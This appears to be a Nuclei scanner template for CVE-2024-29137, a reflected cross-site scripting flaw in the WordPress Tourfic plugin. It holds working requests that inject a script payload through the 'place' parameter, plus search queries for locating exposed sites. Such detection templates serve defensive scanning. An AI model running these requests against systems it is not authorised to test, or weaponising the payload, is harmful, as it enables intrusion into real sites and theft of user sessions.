WordPress Tourfic Plugin <= 2.11.7 - Cross-Site Scripting

id: CVE-2024-29137

info:
  name: WordPress Tourfic Plugin <= 2.11.7 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: high
  description: |
    The Tourfic plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 2.11.7 due to insufficient input sanitization and output escaping in the 'place' parameter.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Update to Tourfic version 2.11.8 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29137
    - https://patchstack.com/database/vulnerability/tourfic/wordpress-tourfic-plugin-2-11-7-reflected-cross-site-scripting-xss-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tourfic/tourfic-2117-reflected-cross-site-scripting
    - https://wpscan.com/vulnerability/f93321c7-d4e3-470c-9fd9-8e65c2284c5d/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-29137
    epss-score: 0.00617
    epss-percentile: 0.47481
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: themefic
    product: tourfic
    framework: wordpress
    publicwww-query: "/wp-content/plugins/tourfic/"
    fofa-query: body="/wp-content/plugins/tourfic/"
  tags: cve,cve2024,wordpress,wp-plugin,xss,tourfic,unauth,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?rest_route=/wp/v2/pages&per_page=100'

    extractors:
      - type: regex
        name: search_page_id
        group: 1
        regex:
          - '"slug":"tf-search"[^}]*"link":"[^"]*page_id=(\d+)"'
        internal: true

  - method: GET
    path:
      - '{{BaseURL}}/?page_id={{search_page_id}}&type=tf_hotel&place=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&adults=2&children=1&room=1'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "><script>alert(document.domain)</script>")'
        condition: and
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